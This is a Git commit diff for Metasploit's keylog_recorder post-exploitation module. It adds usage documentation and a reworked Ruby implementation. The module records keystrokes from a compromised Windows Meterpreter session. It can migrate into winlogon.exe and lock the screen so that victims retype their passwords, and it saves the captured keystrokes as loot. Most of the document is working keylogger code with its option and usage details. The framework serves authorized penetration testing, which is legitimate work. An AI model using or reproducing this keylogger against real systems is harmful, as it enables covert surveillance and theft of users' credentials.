Land #7106, multiple keylog_recorder improvements
commit
df15eebdf8
|
@ -0,0 +1,76 @@
|
|||
## Overview
|
||||
|
||||
This module captures keystrokes from a Windows target and saves them to a text file in loot. Keystrokes can be captured from explorer.exe, winlogon.exe, or a specific process of your choice. The module is capable of being run as a job to keep the Framework's user interface available for other tasks.
|
||||
|
||||
## Requirements
|
||||
- Windows Meterpreter Session
|
||||
|
||||
## Module Options
|
||||
- **CAPTURE_TYPE** - This option sets the process where the module records keystrokes. Accepted: explorer, winlogon, or pid. Default value is explorer.
|
||||
|
||||
- **INTERVAL** - The interval in seconds that the module uses for recording keystrokes. The log file goes to a new line at the end of each interval. Default value is 5 seconds.
|
||||
|
||||
- **LOCKSCREEN** - This option locks the screen of the target when set to TRUE. CAPTURE_TYPE must be set to winlogon. MIGRATE must be set to TRUE or the session must already be in winlogon.exe. Defalt value is FALSE.
|
||||
|
||||
- **MIGRATE** - This option migrates the session based on the CAPTURE_TYPE. Explorer.exe for explorer, winlogon.exe for winlogon, or a specified PID for pid. Default value is FALSE.
|
||||
|
||||
- **PID** - The PID of a process to migrate the session into. CAPTURE_TYPE of pid must be set, and the sepecified PID must exist on the target machine.
|
||||
|
||||
- **SESSION** - The session to run the module on.
|
||||
|
||||
### Advanced Options
|
||||
- **ShowKeystrokes** - This option prints the captured keystrokes to the Framework UI on the specified interval. Default is FALSE.
|
||||
- **TimeOutAction** - This option sets the behavior the module takes if the key capture request times out. (See below.) Accepted: wait or exit. Default value is wait.
|
||||
|
||||
## Usage
|
||||
The Meterpreter session must be located in an appropriate process for keystroke recording to work properly. This is described in the below-listed capture types. This module can migrate the session if MIGRATE is set to TRUE. If winlogon or PID migration fails, the module will exit. Set MIGRATE to FALSE if migration will be performed manually or through another module.
|
||||
|
||||
### Capture Types
|
||||
- **Explorer.exe** - __Session must be in explorer.exe__ - The most common capture type. Keystrokes are recorded from most user level applications. Applications running at an elevated level will likely not get recorded. **NOTE: Sessions running with elevated privileges are downgraded to user level when migrated into explorer.exe.** It is recommended that a second session be opened for keystroke recording if elevated priveledges are to be maintained.
|
||||
|
||||
- **Winlogon.exe** - __Session must be in winlogon.exe__ - Administrator or SYSTEM rights are required to migrate to winlogon.exe. Keylogging from this process records usernames and passwords as users log in. This capture type does not record keystrokes from any other process. Setting LOCKSCREEN to true locks Windows when the module is executed. This forces the user to unlock the computer, and their password is captured.
|
||||
|
||||
- **PID** - __Session must be in the specific process to be recorded.__ - This option is useful for recording keystrokes in applications or process that run with elevated priveledges. However, admin or SYSTEM rights are required to migrate to these processes. Only keystrokes from the specified process are recorded.
|
||||
|
||||
## Running Module as a Job
|
||||
It is recommended to run this module as a job using: `exploit -j` or `run -j`. As a job, the module runs in the background preventing it from tying up the Framework's user interface. To stop capturing keystrokes, kill the job using `jobs -k`. The module records the last few keystrokes before exit. Stopping the job can take up to 30 seconds. If the session is killed, the key log job shuts down automatically.
|
||||
|
||||
### TimeOutAction
|
||||
This module has two actions it can take if module requests time out. This occurs with packet-based payloads like `reverse_http` or `reverse_https` when the target system stops responding to requests for a specific period of time. The default is 300 seconds. Sessions can stop responding due to various events such as network problems, system shut down, system sleep, or user log off.
|
||||
|
||||
- **WAIT** - With this option selected, the module suspends attempting to gather keystrokes after the timeout. It waits for the session to become active again, then resumes capturing keystrokes. The output log reflects that recording was suspended along with a timestamp. If the session becomes active again, the log indicates this along with a timestamp. The wait option allows keystrokes to be logged over multiple system sleep cycles. In the event that the session dies, the recording job is stopped automatically.
|
||||
|
||||
- **EXIT** - With this option selected, the module exits and the job is killed when the timeout occurs. The output log reflects the exit along with a timestamp.
|
||||
|
||||
### Running Module Stand Alone
|
||||
When running the module stand alone, it will prevent the Framework UI from being use for anything else until you exit the module. Use `CTRL-C` to exit. The module will save the last few keystrokes. This may take up to 30 seconds to complete.
|
||||
|
||||
## Example Output
|
||||
```
|
||||
Keystroke log from explorer.exe on JULY with user JULY\User started at 2016-07-13 21:01:56 -0500
|
||||
|
||||
This is an ex
|
||||
ample output from keylog_recorder.
|
||||
<Return> <Return> On this line I make a typpor <Back> <Back> <Back>
|
||||
o. <Return>
|
||||
<Return> Username <Tab> Password <Return>
|
||||
<Return>
|
||||
<N1> <N9> <N2> <Decimal> <N1> <N6> <N8> <Decimal> <N1> <Decimal> <N1> <N0> <N0> <Return>
|
||||
Copy <Left> <Left> <Left> <Left> <Ctrl> <LCtrl> c <Right> <Right> <Right> <Right> <Return> <Return> <Ctrl> <LCtrl> v <Return> <Return>
|
||||
|
||||
Keylog Recorder timed out - now waiting at 2016-07-13 21:09:33 -0500
|
||||
|
||||
|
||||
Keylog Recorder resumed at 2016-07-13 21:11:36 -0500
|
||||
|
||||
<Return> T
|
||||
his is keys logged after the computer
|
||||
was put to sleep and then woken back up.
|
||||
<Return>
|
||||
|
||||
Keylog Recorder exited at 2016-07-13 21:12:44 -0500
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
|
@ -22,10 +22,11 @@ class MetasploitModule < Msf::Post
|
|||
to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon
|
||||
option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN
|
||||
option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text
|
||||
password.
|
||||
password. It is recommended to run this module as a job, otherwise it will tie up your framework user interface.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>',
|
||||
'Josh Hale <jhale85446[at]gmail.com>'],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter', ]
|
||||
|
||||
|
@ -34,7 +35,7 @@ class MetasploitModule < Msf::Post
|
|||
[
|
||||
OptBool.new('LOCKSCREEN', [false, 'Lock system screen.', false]),
|
||||
OptBool.new('MIGRATE', [false, 'Perform Migration.', false]),
|
||||
OptInt.new( 'INTERVAL', [false, 'Time interval to save keystrokes', 5]),
|
||||
OptInt.new( 'INTERVAL', [false, 'Time interval to save keystrokes in seconds', 5]),
|
||||
OptInt.new( 'PID', [false, 'Process ID to migrate to', nil]),
|
||||
OptEnum.new('CAPTURE_TYPE', [false, 'Capture keystrokes for Explorer, Winlogon or PID',
|
||||
'explorer', ['explorer','winlogon','pid']])
|
||||
|
@ -42,41 +43,63 @@ class MetasploitModule < Msf::Post
|
|||
], self.class)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('ShowKeystrokes', [false, 'Show captured keystrokes', false])
|
||||
OptBool.new('ShowKeystrokes', [false, 'Show captured keystrokes', false]),
|
||||
OptEnum.new('TimeOutAction', [true, 'Action to take when session response timeout occurs.',
|
||||
'wait', ['wait','exit']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
|
||||
print_status("Executing module against #{sysinfo['Computer']}")
|
||||
if datastore['MIGRATE']
|
||||
case datastore['CAPTURE_TYPE']
|
||||
when "explorer"
|
||||
process_migrate(datastore['CAPTURE_TYPE'],datastore['LOCKSCREEN'])
|
||||
when "winlogon"
|
||||
process_migrate(datastore['CAPTURE_TYPE'],datastore['LOCKSCREEN'])
|
||||
when "pid"
|
||||
if datastore['PID'] and has_pid?(datastore['PID'])
|
||||
pid_migrate(datastore['PID'])
|
||||
if datastore['CAPTURE_TYPE'] == "pid"
|
||||
return unless migrate_pid(datastore['PID'], session.sys.process.getpid)
|
||||
else
|
||||
print_error("If capture type is pid you must provide a valid one")
|
||||
return
|
||||
return unless process_migrate
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
lock_screen if datastore['LOCKSCREEN'] && get_process_name == "winlogon.exe"
|
||||
|
||||
if startkeylogger
|
||||
keycap(datastore['INTERVAL'],set_log)
|
||||
if start_keylogger
|
||||
@logfile = set_log
|
||||
keycap
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the path name to the stored loot filename
|
||||
# Initial Setup values
|
||||
#
|
||||
# @return [void] A useful return value is not expected here
|
||||
def setup
|
||||
@logfile = nil
|
||||
@timed_out = false
|
||||
@timed_out_age = nil # Session age when it timed out
|
||||
@interval = datastore['INTERVAL'].to_i
|
||||
@wait = datastore['TimeOutAction'] == "wait" ? true : false
|
||||
|
||||
if @interval < 1
|
||||
print_error("INTERVAL value out of bounds. Setting to 5.")
|
||||
@interval = 5
|
||||
end
|
||||
end
|
||||
|
||||
# This function sets the log file and loot entry.
|
||||
#
|
||||
# @return [StringClass] Returns the path name to the stored loot filename
|
||||
def set_log
|
||||
store_loot("host.windows.keystrokes", "text/plain", session, "Keystroke log started at #{Time.now.to_s}\n", "keystrokes.txt", "User Keystrokes")
|
||||
store_loot("host.windows.keystrokes", "text/plain", session, "Keystroke log from #{get_process_name} on #{sysinfo['Computer']} with user #{client.sys.config.getuid} started at #{Time.now.to_s}\n\n", "keystrokes.txt", "User Keystrokes")
|
||||
end
|
||||
|
||||
# This writes a timestamp event to the output file.
|
||||
#
|
||||
# @return [void] A useful return value is not expected here
|
||||
def time_stamp(event)
|
||||
file_local_write(@logfile,"\nKeylog Recorder #{event} at #{Time.now.to_s}\n\n")
|
||||
end
|
||||
|
||||
# This locks the Windows screen if so requested in the datastore.
|
||||
#
|
||||
# @return [void] A useful return value is not expected here
|
||||
def lock_screen
|
||||
print_status("Locking the desktop...")
|
||||
lock_info = session.railgun.user32.LockWorkStation()
|
||||
|
@ -87,116 +110,251 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
end
|
||||
|
||||
# Method to Migrate in to Explorer process to be able to interact with desktop
|
||||
def process_migrate(captype,lock)
|
||||
print_status("Migration type #{captype}")
|
||||
#begin
|
||||
if captype == "explorer"
|
||||
process2mig = "explorer.exe"
|
||||
elsif captype == "winlogon"
|
||||
# This function returns the process name that the session is running in.
|
||||
#
|
||||
# Note: "session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.
|
||||
#
|
||||
# @return [String Class] the session process's name
|
||||
# @return [NilClass] Session match was not found
|
||||
def get_process_name
|
||||
processes = client.sys.process.get_processes
|
||||
current_pid = session.sys.process.getpid
|
||||
processes.each do |proc|
|
||||
return proc['name'] if proc['pid'] == current_pid
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
# This function evaluates the capture type and migrates accordingly.
|
||||
# In the event of errors, it will default to the explorer capture type.
|
||||
#
|
||||
# @return [TrueClass] if it successfully migrated
|
||||
# @return [FalseClass] if it failed to migrate
|
||||
def process_migrate
|
||||
captype = datastore['CAPTURE_TYPE']
|
||||
|
||||
if captype == "winlogon"
|
||||
if is_uac_enabled? and not is_admin?
|
||||
print_error("UAC is enabled on this host! Winlogon migration will be blocked.")
|
||||
|
||||
end
|
||||
process2mig = "winlogon.exe"
|
||||
if lock
|
||||
lock_screen
|
||||
end
|
||||
print_error("UAC is enabled on this host! Winlogon migration will be blocked. Exiting...")
|
||||
return false
|
||||
else
|
||||
process2mig = "explorer.exe"
|
||||
end
|
||||
# Actual migration
|
||||
mypid = session.sys.process.getpid
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)
|
||||
print_status("\t#{process2mig} Process found, migrating into #{x['pid']}...")
|
||||
session.core.migrate(x['pid'].to_i)
|
||||
print_status("Migration successful!!")
|
||||
return migrate(get_pid("winlogon.exe"), "winlogon.exe", session.sys.process.getpid)
|
||||
end
|
||||
end
|
||||
|
||||
return migrate(get_pid("explorer.exe"), "explorer.exe", session.sys.process.getpid)
|
||||
end
|
||||
|
||||
# This function returns the first process id of a process with the name provided.
|
||||
# It will make sure that the process has a visible user meaning that the session has rights to that process.
|
||||
# Note: "target_pid = session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.
|
||||
#
|
||||
# @return [Fixnum] the PID if one is found
|
||||
# @return [NilClass] if no PID was found
|
||||
def get_pid(proc_name)
|
||||
processes = client.sys.process.get_processes
|
||||
processes.each do |proc|
|
||||
if proc['name'] == proc_name && proc['user'] != ""
|
||||
return proc['pid']
|
||||
end
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
# This function attempts to migrate to the specified process by Name.
|
||||
#
|
||||
# @return [TrueClass] if it successfully migrated
|
||||
# @return [FalseClass] if it failed to migrate
|
||||
def migrate(target_pid, proc_name, current_pid)
|
||||
if !target_pid
|
||||
print_error("Could not migrate to #{proc_name}. Exiting...")
|
||||
return false
|
||||
end
|
||||
|
||||
print_status("Trying #{proc_name} (#{target_pid})")
|
||||
|
||||
if target_pid == current_pid
|
||||
print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
|
||||
return true
|
||||
end
|
||||
|
||||
# Method for migrating in to a PID
|
||||
def pid_migrate(pid)
|
||||
print_status("\tMigrating into #{pid}...")
|
||||
session.core.migrate(pid)
|
||||
print_status("Migration successful!")
|
||||
end
|
||||
|
||||
# Method for starting the keylogger
|
||||
def startkeylogger()
|
||||
begin
|
||||
#print_status("Grabbing Desktop Keyboard Input...")
|
||||
#session.ui.grab_desktop
|
||||
print_status("Starting the keystroke sniffer...")
|
||||
session.ui.keyscan_start
|
||||
client.core.migrate(target_pid)
|
||||
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
|
||||
return true
|
||||
rescue
|
||||
print_error("Failed to start the keystroke sniffer: #{$!}")
|
||||
rescue Rex::Post::Meterpreter::RequestError => error
|
||||
print_error("Could not migrate to #{proc_name}. Exiting...")
|
||||
print_error(error.to_s)
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# Method for writing found keystrokes
|
||||
def write_keylog_data(logfile)
|
||||
data = session.ui.keyscan_dump
|
||||
outp = ""
|
||||
data.unpack("n*").each do |inp|
|
||||
fl = (inp & 0xff00) >> 8
|
||||
vk = (inp & 0xff)
|
||||
kc = VirtualKeyCodes[vk]
|
||||
|
||||
f_shift = fl & (1<<1)
|
||||
f_ctrl = fl & (1<<2)
|
||||
f_alt = fl & (1<<3)
|
||||
|
||||
if(kc)
|
||||
name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
|
||||
case name
|
||||
when /^.$/
|
||||
outp << name
|
||||
when /shift|click/i
|
||||
when 'Space'
|
||||
outp << " "
|
||||
else
|
||||
outp << " <#{name}> "
|
||||
end
|
||||
else
|
||||
outp << " <0x%.2x> " % vk
|
||||
end
|
||||
# This function attempts to migrate to the specified process by PID only.
|
||||
#
|
||||
# @return [TrueClass] if it successfully migrated
|
||||
# @return [FalseClass] if it failed to migrate
|
||||
def migrate_pid(target_pid, current_pid)
|
||||
if !target_pid
|
||||
print_error("Could not migrate to PID #{target_pid}. Exiting...")
|
||||
return false
|
||||
end
|
||||
|
||||
sleep(2)
|
||||
if not outp.empty?
|
||||
print_good("Keystrokes captured #{outp}") if datastore['ShowKeystrokes']
|
||||
file_local_write(logfile,"#{outp}\n")
|
||||
end
|
||||
if !has_pid?(target_pid)
|
||||
print_error("Could not migrate to PID #{target_pid}. Does not exist! Exiting...")
|
||||
return false
|
||||
end
|
||||
|
||||
print_status("Trying PID: #{target_pid}")
|
||||
|
||||
if target_pid == current_pid
|
||||
print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
|
||||
return true
|
||||
end
|
||||
|
||||
# Method for Collecting Capture
|
||||
def keycap(keytime, logfile)
|
||||
begin
|
||||
client.core.migrate(target_pid)
|
||||
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
|
||||
return true
|
||||
rescue Rex::Post::Meterpreter::RequestError => error
|
||||
print_error("Could not migrate to PID #{target_pid}. Exiting...")
|
||||
print_error(error.to_s)
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# This function starts the keylogger
|
||||
#
|
||||
# @return [TrueClass] keylogger started successfully
|
||||
# @return [FalseClass] keylogger failed to start
|
||||
def start_keylogger
|
||||
session.ui.keyscan_stop rescue nil #Stop keyscan if it was already running for some reason.
|
||||
begin
|
||||
print_status("Starting the keylog recorder...")
|
||||
session.ui.keyscan_start
|
||||
return true
|
||||
rescue
|
||||
print_error("Failed to start the keylog recorder: #{$!}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# This function dumps the keyscan and uses the API function to parse
|
||||
# the extracted keystrokes.
|
||||
#
|
||||
# @return [void] A useful return value is not expected here
|
||||
def write_keylog_data
|
||||
output = session.ui.keyscan_extract(session.ui.keyscan_dump)
|
||||
|
||||
if not output.empty?
|
||||
print_good("Keystrokes captured #{output}") if datastore['ShowKeystrokes']
|
||||
file_local_write(@logfile,"#{output}\n")
|
||||
end
|
||||
end
|
||||
|
||||
# This function manages the key recording process
|
||||
# It stops the process if the session is killed or goes stale
|
||||
#
|
||||
# @return [void] A useful return value is not expected here
|
||||
def keycap
|
||||
rec = 1
|
||||
#Creating DB for captured keystrokes
|
||||
print_status("Keystrokes being saved in to #{logfile}")
|
||||
#Inserting keystrokes every number of seconds specified
|
||||
print_status("Keystrokes being saved in to #{@logfile}")
|
||||
print_status("Recording keystrokes...")
|
||||
|
||||
while rec == 1
|
||||
write_keylog_data(logfile)
|
||||
sleep(keytime.to_i)
|
||||
begin
|
||||
sleep(@interval)
|
||||
if session_good?
|
||||
write_keylog_data
|
||||
else
|
||||
if !session.alive?
|
||||
vprint_status("Session: #{datastore['SESSION']} has been closed. Exiting keylog recorder.")
|
||||
rec = 0
|
||||
end
|
||||
end
|
||||
rescue::Exception => e
|
||||
print_status "Saving last few keystrokes..."
|
||||
write_keylog_data(logfile)
|
||||
print_status("#{e.class} #{e}")
|
||||
print_status("Stopping keystroke sniffer...")
|
||||
session.ui.keyscan_stop
|
||||
if e.class.to_s == "Rex::TimeoutError"
|
||||
@timed_out_age = get_session_age
|
||||
@timed_out = true
|
||||
|
||||
if @wait
|
||||
time_stamp("timed out - now waiting")
|
||||
vprint_status("Session: #{datastore['SESSION']} is not responding. Waiting...")
|
||||
else
|
||||
time_stamp("timed out - exiting")
|
||||
print_status("Session: #{datastore['SESSION']} is not responding. Exiting keylog recorder.")
|
||||
rec = 0
|
||||
end
|
||||
elsif e.class.to_s == "Interrupt"
|
||||
print_status("User interrupt.")
|
||||
rec = 0
|
||||
else
|
||||
print_error("Keylog recorder on session: #{datastore['SESSION']} encountered error: #{e.class} (#{e}) Exiting...")
|
||||
@timed_out = true
|
||||
rec = 0
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
# This function returns the number of seconds since the last time
|
||||
# that the session checked in.
|
||||
#
|
||||
# @return [Integer Class] Number of seconds since last checkin
|
||||
def get_session_age
|
||||
return Time.now.to_i - session.last_checkin.to_i
|
||||
end
|
||||
|
||||
# This function makes sure a session is still alive acording to the Framework.
|
||||
# It also checks the timed_out flag. Upon resume of session it resets the flag so
|
||||
# that logging can start again.
|
||||
#
|
||||
# @return [TrueClass] Session is still alive (Framework) and not timed out
|
||||
# @return [FalseClass] Session is dead or timed out
|
||||
def session_good?
|
||||
return false if !session.alive?
|
||||
if @timed_out
|
||||
if get_session_age < @timed_out_age && @wait
|
||||
time_stamp("resumed")
|
||||
@timed_out = false #reset timed out to false, if module set to wait and session becomes active again.
|
||||
end
|
||||
return !@timed_out
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
# This function writes off the last set of key strokes
|
||||
# and shuts down the key logger
|
||||
#
|
||||
# @return [void] A useful return value is not expected here
|
||||
def finish_up
|
||||
print_status("Shutting down keylog recorder. Please wait...")
|
||||
|
||||
last_known_timeout = session.response_timeout
|
||||
session.response_timeout = 20 #Change timeout so job will exit in 20 seconds if session is unresponsive
|
||||
|
||||
begin
|
||||
sleep(@interval)
|
||||
write_keylog_data
|
||||
rescue::Exception => e
|
||||
print_error("Keylog recorder encountered error: #{e.class.to_s} (#{e.to_s}) Exiting...") if e.class.to_s != "Rex::TimeoutError" #Don't care about timeout, just exit
|
||||
session.response_timeout = last_known_timeout
|
||||
return
|
||||
end
|
||||
session.ui.keyscan_stop rescue nil
|
||||
session.response_timeout = last_known_timeout
|
||||
end
|
||||
|
||||
# This function cleans up the module.
|
||||
# finish_up was added for a clean exit when this module is run as a job.
|
||||
#
|
||||
# Known Issue: This appears to run twice when killing the job. Not sure why.
|
||||
# Does not cause issues with output or errors.
|
||||
#
|
||||
# @return [void] A useful return value is not expected here
|
||||
def cleanup
|
||||
if @logfile #make sure there is a log file meaning keylog started and migration was successful, if used.
|
||||
finish_up if session_good?
|
||||
time_stamp("exited")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue